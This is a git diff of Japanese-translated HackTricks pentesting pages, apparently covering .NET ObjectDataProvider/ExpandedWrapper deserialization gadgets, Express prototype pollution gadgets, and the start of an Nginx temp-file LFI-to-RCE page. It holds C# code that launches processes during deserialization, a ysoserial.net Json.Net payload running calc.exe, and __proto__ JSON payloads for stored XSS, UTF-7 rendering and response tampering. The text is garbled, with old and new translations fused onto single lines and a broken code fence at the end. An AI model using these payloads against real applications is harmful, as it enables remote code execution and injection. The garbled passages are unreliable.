Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>
{% endhint %}
この投稿は、**ObjectDataProviderガジェットがどのように悪用されるか**を理解し、そのガジェットを使用してRCEを取得する方法、および**SerializationライブラリであるJson.NetとxmlSerializerがどのように悪用されるか**を理解することに捧げられています。 この投稿は、**ObjectDataProvider ガジェットがどのように悪用されるかを理解すること**と、**Json.Net と xmlSerializer のシリアル化ライブラリがどのようにそのガジェットで悪用されるか**に捧げられています。
## ObjectDataProviderガジェット ## ObjectDataProvider ガジェット
ドキュメントから_ObjectDataProviderクラスは、バインディングソースとして使用できるオブジェクトをラップおよび作成します。_\ ドキュメントから: _ObjectDataProvider クラスは、バインディングソースとして使用できるオブジェクトをラップして作成します。_\
はい、これは奇妙な説明ですので、このクラスには何が興味深いのか見てみましょう:このクラスは**任意のオブジェクトをラップ**し、_**MethodParameters**_を使用して**任意のパラメータを設定**し、その後、**MethodNameを使用して任意の関数**を呼び出すことができます。任意のパラメータを使用して宣言された任意のオブジェクトの任意の**関数**を**実行**します。\ そうですね、奇妙な説明ですので、このクラスが何を持っているのか見てみましょう: このクラスは、**任意のオブジェクトをラップする**ことを可能にし、_**MethodParameters**_ を使用して **任意のパラメータを設定し、**その後 **MethodName を使用して任意のオブジェクトの任意の関数を呼び出す**ことができます。\
したがって、任意の**オブジェクト**は、**逆シリアル化されながら**任意の**パラメータを使用して関数を実行**します。 したがって、任意の **オブジェクト**は **デシリアライズ中に** **パラメータを持つ** **関数を実行**します。
### **これが可能な理由** ### **これはどのように可能か**
ObjectDataProviderが定義および実装されている**System.Windows.Data**名前空間は、`C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`にある**PresentationFramework.dll**内に見つかります。 **System.Windows.Data** 名前空間は、`C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`**PresentationFramework.dll** 内で定義および実装されています。
[**dnSpy**](https://github.com/0xd4d/dnSpy)を使用して、興味を持つクラスのコードを**検査**できます。以下の画像では、**PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**のコードを見ています。 [**dnSpy**](https://github.com/0xd4d/dnSpy) を使用すると、興味のあるクラスの **コードを検査**できます。以下の画像では、**PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> メソッド名** のコードを見ています。
![](<../../.gitbook/assets/image (427).png>) ![](<../../.gitbook/assets/image (427).png>)
`MethodName`が設定されると`base.Refresh()`が呼び出されることがわかります。これが何をするか見てみましょう: `MethodName` が設定されると `base.Refresh()` が呼び出されることがわかります。これが何をするのか見てみましょう:
![](<../../.gitbook/assets/image (319).png>) ![](<../../.gitbook/assets/image (319).png>)
では、`this.BeginQuery()`が何をするかを続けて見てみましょう。`BeginQuery`は`ObjectDataProvider`によってオーバーライドされ、これが行うことです: では、`this.BeginQuery()` が何をするのかを見続けましょう。`BeginQuery` は `ObjectDataProvider` によってオーバーライドされており、これがその動作です:
![](<../../.gitbook/assets/image (345).png>) ![](<../../.gitbook/assets/image (345).png>)
コードの最後で`this.QueryWorke(null)`を呼び出していることに注意してください。これが実行する内容を見てみましょう: コードの最後で `this.QueryWorke(null)` を呼び出していることに注意してください。これが何を実行するのか見てみましょう:
![](<../../.gitbook/assets/image (596).png>) ![](<../../.gitbook/assets/image (596).png>)
のコードは`QueryWorker`関数の完全なコードではありませんが、その興味深い部分を示しています:コードは**`this.InvokeMethodOnInstance(out ex);`を呼び出します**。これは、**設定されたメソッドが呼び出される**行です。 れは `QueryWorker` 関数の完全なコードではありませんが、興味深い部分を示しています: コードは **`this.InvokeMethodOnInstance(out ex);` を呼び出します。** これは **メソッドセットが呼び出される**行です。
単に_**MethodName**_を設定するだけで実行されることを確認したい場合は、このコードを実行できます _**MethodName**_ を設定するだけで実行されることを確認したい場合は、このコードを実行できます:
```java ```java
using System.Windows.Data; using System.Windows.Data;
using System.Diagnostics; using System.Diagnostics;
@ -62,16 +65,16 @@ myODP.MethodName = "Start";
} }
} }
``` ```
注意してください。`System.Windows.Data`をロードするために、_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_を参照に追加する必要があります。 注意`System.Windows.Data`をロードするには、_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ を参照として追加する必要があります。
## ExpandedWrapper ## ExpandedWrapper
述の脆弱性を使用すると、**オブジェクト**が _**ObjectDataProvider**_ インスタンスとして**逆シリアル化される**場合がありますたとえば、DotNetNukeの脆弱性では、`GetType`を使用してオブジェクトが逆シリアル化されました。その後、_ObjectDataProvider_ インスタンスに**ラップされたオブジェクトタイプの知識がない**状況が発生します(たとえば、`Process`)。[DotNetNukeの脆弱性に関する詳細はこちら](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1)で確認できます。 のエクスプロイトを使用すると、**オブジェクト**が_**ObjectDataProvider**_インスタンスとして**デシリアライズされる**ケースがあります例えば、DotNetNukeの脆弱性では、XmlSerializerを使用して、オブジェクトは`GetType`を使用してデシリアライズされました。そのため、_ObjectDataProvider_インスタンスにラップされているオブジェクトの型例えば`Process`)について**知識がありません**。DotNetNukeの脆弱性についての詳細は[こちら](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1)で確認できます。
このクラスは、与えられたインスタンスにカプセル化されたオブジェクトのオブジェクトタイプを**指定する**ことができます。したがって、このクラスは、ソースオブジェクト_ObjectDataProvider_を新しいオブジェクトタイプにカプセル化し、必要なプロパティ_ObjectDataProvider.MethodName_ および _ObjectDataProvider.MethodParameters_)を提供するために使用できます。\ このクラスは、特定のインスタンスにカプセル化されたオブジェクトのオブジェクトタイプを**指定する**ことを可能にします。したがって、このクラスは、ソースオブジェクト_ObjectDataProvider_を新しいオブジェクトタイプにカプセル化し、必要なプロパティ_ObjectDataProvider.MethodName_および_ObjectDataProvider.MethodParameters_を提供するために使用できます。\
これは以前に提示されたケースのような場合に非常に便利です。なぜなら、**\_ObjectDataProvider**_を**_ExpandedWrapper_**インスタンスの内部に**ラップ**し、このクラスを**逆シリアル化すると**、_**MethodName**_で指定された**関数**を**実行**する _**OjectDataProvider**_ オブジェクトが**作成**されるからです。 これは、前述のケースのような場合に非常に便利です。なぜなら、**_ObjectDataProvider**_\*\*を\*\*_**ExpandedWrapper** \_インスタンス内に**ラップ**し、**デシリアライズされると**このクラスは、_**MethodName**_で示された**関数**を**実行する**_**OjectDataProvider**_オブジェクトを**作成**します。
このラッパーを以下のコードで確認できます: 次のコードでこのラッパーを確認できます:
```java ```java
using System.Windows.Data; using System.Windows.Data;
using System.Diagnostics; using System.Diagnostics;
@ -95,11 +98,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
``` ```
## Json.Net ## Json.Net
[公式ウェブページ](https://www.newtonsoft.com/json) によると、このライブラリは **Json.NET の強力な JSON シリアライザを使用して、任意の .NET オブジェクトをシリアライズおよびデシリアライズ** することができます。したがって、**ObjectDataProvider ガジェットをデシリアライズ** できれば、オブジェクトをデシリアライズするだけで **RCE** を引き起こすことができます。 [公式ウェブページ](https://www.newtonsoft.com/json)には、このライブラリが**Json.NETの強力なJSONシリアライザーを使用して、任意の.NETオブジェクトをシリアライズおよびデシリアライズすることを可能にする**と記載されています。したがって、**ObjectDataProviderガジェットをデシリアライズ**できれば、オブジェクトをデシリアライズするだけで**RCE**を引き起こすことができます。
### Json.Net の例 ### Json.Netの例
まず、このライブラリを使用してオブジェクトを **シリアライズ/デシリアライズ** する方法を示す例を見てみましょう: まず、このライブラリを使用してオブジェクトを**シリアライズ/デシリアライズ**する方法の例を見てみましょう:
```java ```java
using System; using System;
using Newtonsoft.Json; using Newtonsoft.Json;
@ -142,9 +145,9 @@ Console.WriteLine(desaccount.Email);
} }
} }
``` ```
### Json.Netの ### Json.Netの
[ysoserial.net](https://github.com/pwntester/ysoserial.net)を使用して、次のエクスプロイトを作成しました: [ysoserial.net](https://github.com/pwntester/ysoserial.net)を使用して、エクスプロイトを作成しました:
```java ```java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{ {
@ -157,7 +160,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
} }
``` ```
このコードでは、**エクスプロイトをテスト**することができます。単に実行すると、calc が実行されることがわかります。 このコードでは**エクスプロイトをテスト**できます。実行すると、計算機が起動するのがわかります。
```java ```java
using System; using System;
using System.Text; using System.Text;
@ -194,14 +197,17 @@ TypeNameHandling = TypeNameHandling.Auto
} }
} }
``` ```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングトリックを共有するためにPRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
{% endhint %}

View file

@ -1,40 +1,41 @@
# Express Prototype Pollution Gadgets # Express Prototype Pollution Gadgets
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
HackTricksをサポートする他の方法 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で**フォロー**する。
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io) ### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、**盗難マルウェア**による**侵害**を受けたかどうかを確認するための**無料**機能を提供しています。 [**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアによって侵害された**かどうかを確認するための**無料**機能を提供しています。
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。 WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: 彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
*** ***
## XSSレスポンスを提供する ## Serve XSS responses
**詳細については** [**元のリサーチを参照してください**](https://portswigger.net/research/server-side-prototype-pollution) **詳細については** [**元の研究を参照してください**](https://portswigger.net/research/server-side-prototype-pollution)
### JSONコンテンツタイプをHTMLに変更 ### JSONコンテンツタイプをHTMLに変更
**JSONコンテンツタイプのレスポンス**を使用し、JSONを反映するExpressアプリで: **JSONコンテンツタイプのレスポンス**を使用し、JSONを反映するExpressアプリで
```javascript ```javascript
app.use(bodyParser.json({type: 'application/json'})); app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){ app.post('/', function(req, res){
@ -42,37 +43,37 @@ _.merge({}, req.body);
res.send(req.body); res.send(req.body);
}); });
``` ```
### XSSの場合、通常はJSONコンテンツタイプでは不可能です。ただし、プロトタイプ汚染を使用すると、**Expressを混乱させてHTMLレスポンスを提供することができます。** この脆弱性は、アプリケーションが**`res.send(obj)`**を使用し、application/jsonコンテンツタイプでボディパーサーを使用していることに依存しています。 これらのケースでは、JSONコンテンツタイプでは通常XSSは不可能です。しかし、プロトタイプ汚染を利用することで、**Expressを混乱させてHTMLレスポンスを提供させることができます。** この脆弱性は、アプリケーションが**`res.send(obj)`**を使用し、application/jsonコンテンツタイプでボディパーサーを使用ることに依存しています。
```json ```json
{"__proto__":{"_body":true,"body":"<script>evil()"}} {"__proto__":{"_body":true,"body":"<script>evil()"}}
``` ```
**`body`**および**`_body`**プロパティを**汚染**することで、**ExpressがHTMLコンテンツタイプを提供**し、_bodyプロパティを反映させ、保存されたXSSが発生する可能性があります。 **`body`****`_body`** プロパティを **汚染** することで、**ExpressがHTMLコンテンツタイプを提供し、** `_body` プロパティを反映させることが可能になり、結果として保存されたXSSが発生します。
### UTF7レンダリング ### UTF7レンダリング
Expressが**UTF-7コンテンツをレンダリングする**ことが可能です: Expressが **UTF-7コンテンツをレンダリングする** ことが可能です:
```json ```json
{"__proto__":{"content-type": "application/json; charset=utf-7"}} {"__proto__":{"content-type": "application/json; charset=utf-7"}}
``` ```
## 安全なスキャン技術 ## 安全なスキャン技術
### JSON スペース ### JSONスペース
次の PP は、JSON 内の属性に余分なスペースを追加し、機能を壊さないようにします: 次のPPは、JSON内の属性に余分なスペースを追加し、機能を壊さないようにします
```json ```json
{"__proto__":{"json spaces": " "}} {"__proto__":{"json spaces": " "}}
``` ```
その後、反映されたJSONは次のようになります 次のような反射されたJSONになります:
```json ```json
{"foo": "bar"} -- Note the extra space {"foo": "bar"} -- Note the extra space
``` ```
### 公開されたヘッダー ### Exposed Headers
次のPPガジェットは、サーバーがHTTPヘッダーを送信するようにします:**`Access-Control-Expose_headers: foo`** 次のPPガジェットは、サーバーがHTTPヘッダーを返すようにします: **`Access-Control-Expose_headers: foo`**
```json ```json
{"__proto__":{"exposedHeaders":["foo"]}} {"__proto__":{"exposedHeaders":["foo"]}}
``` ```
**CORSモジュールのインストールが必要です** It requires the **CORSモジュールをインストールする必要があります**
### **OPTIONSメソッド** ### **OPTIONSメソッド**
@ -87,38 +88,38 @@ Expressが**UTF-7コンテンツをレンダリングする**ことが可能で
``` ```
### **ステータス** ### **ステータス**
以下のPPペイロードを使用して、**返されるステータスコード**を変更することが可能です のPPペイロードを使用して、**返されるステータスコード**を変更することが可能です:
```json ```json
{"__proto__":{"status":510}} {"__proto__":{"status":510}}
``` ```
### エラー ### エラー
プリミティブstringなど使用してプロトタイプに割り当てると、**プロトタイプはオブジェクトである必要があるため、** **no-op操作が生成**されます。`Object.prototype`にプロトタイプオブジェクトを割り当てようとすると、これは**例外をスロー**します。これら2つの動作を使用して、**プロトタイプ汚染が成功したかどうかを検出**できます。 文字列のようなプリミティブをプロトタイプに割り当てると、**プロトタイプはオブジェクトでなければならないため、何も行わない操作が生成されます**。`Object.prototype`自体にプロトタイプオブジェクトを割り当てようとすると、**例外がスローされます**。これらの2つの動作を使用して、**プロトタイプ汚染が成功したかどうかを検出できます**
```javascript ```javascript
({}).__proto__.__proto__={}//throws type exception ({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception ({}).__proto__.__proto__="x"//no-op does not throw exception
``` ```
### 反射された値 ### Reflected Value
アプリケーションがレスポンスにオブジェクトを含めるとき、**`__proto__`と並んで異常な名前の属性**を作成すると興味深いかもしれません。特に、**レスポンスに異常な属性だけが返される**場合、これはアプリケーションの脆弱性を示している可能性があります: アプリケーションがレスポンスにオブジェクトを含めるとき、**`__proto__`** と一緒に**異常な名前の属性を作成すること**は洞察を与える可能性があります。特に、**異常な属性のみがレスポンスに返される**場合、これはアプリケーションの脆弱性を示している可能性があります:
```json ```json
{"unusualName":"value","__proto__":"test"} {"unusualName":"value","__proto__":"test"}
``` ```
また、Lodashのようなライブラリが使用されているシナリオでは、プロトタイプ汚染PPを介してプロパティを設定し、オブジェクト内で直接設定することで、別の診断アプローチが提供されます。応答からそのようなプロパティが省略されている場合、Lodashがマージする前に対象オブジェクト内のプロパティの存在を検証していることを示唆しています さらに、Lodashのようなライブラリが使用されるシナリオでは、プロトタイプ汚染PPを介してプロパティを設定することと、オブジェクト内で直接設定することの両方が、別の診断アプローチを提供します。そのようなプロパティがレスポンスから省略されている場合、Lodashがマージする前にターゲットオブジェクト内のプロパティの存在を確認していることを示唆しています。
```javascript ```javascript
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"} {"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash // If 'b' is the only property reflected, this indicates prototype pollution in Lodash
``` ```
## その他 ## Misc
### ドットを許可 ### Allow Dots
Expressには、**クエリ文字列パラメータからオブジェクトを作成**するオプションがあります。\ Expressには、**クエリ文字列パラメータからオブジェクトを作成する**オプションがあります。\
これは、**プロトタイプ汚染の脆弱性を悪用する**ためにバグ**チェーン**で使用できます。 これは、**プロトタイプ汚染の脆弱性**を悪用するバグ**チェーン**で確実に使用できます。
```json ```json
{"__proto__":{"allowDots":true}} {"__proto__":{"allowDots":true}}
``` ```
**`?foo.bar=baz`はNodeでオブジェクトを作成します。** **`?foo.bar=baz` はNodeでオブジェクトを作成します。**
## 参考文献 ## 参考文献
@ -128,24 +129,25 @@ Expressには、**クエリ文字列パラメータからオブジェクトを
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンであり、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックするための**無料**機能を提供しています。 [**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されているかどうかを確認するための**無料**機能を提供しています。
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: 彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングのトリックを共有してください。**
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。**
* **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
</details> </details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# Nginxの一時ファイルを介したLFI2RCE # LFI2RCE via Nginx temp files
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使用して、**ゼロからヒーローまでAWSハッキングを学ぶ**</summary> <summary>Support HackTricks</summary>
HackTricksをサポートする他の方法 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- **HackTricksで企業を宣伝**したい場合や、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
- [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@hacktricks\_live**をフォローする
- **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
</details> </details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io) ### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 [**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ** によって駆動される検索エンジンで、企業やその顧客が **盗難マルウェア** によって **侵害** されているかどうかを確認するための **無料** 機能を提供しています。
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。 WhiteIntel の主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: 彼らのウェブサイトを確認し、**無料** でエンジンを試すことができます:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
@ -30,32 +31,32 @@ WhiteIntelの主な目標は、情報窃取マルウェアによるアカウン
## 脆弱な構成 ## 脆弱な構成
[**https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**からの例](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/) [**Example from https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
* PHPコード: * PHP コード:
\`\`\`\`h\` \`\`\`\`h\`
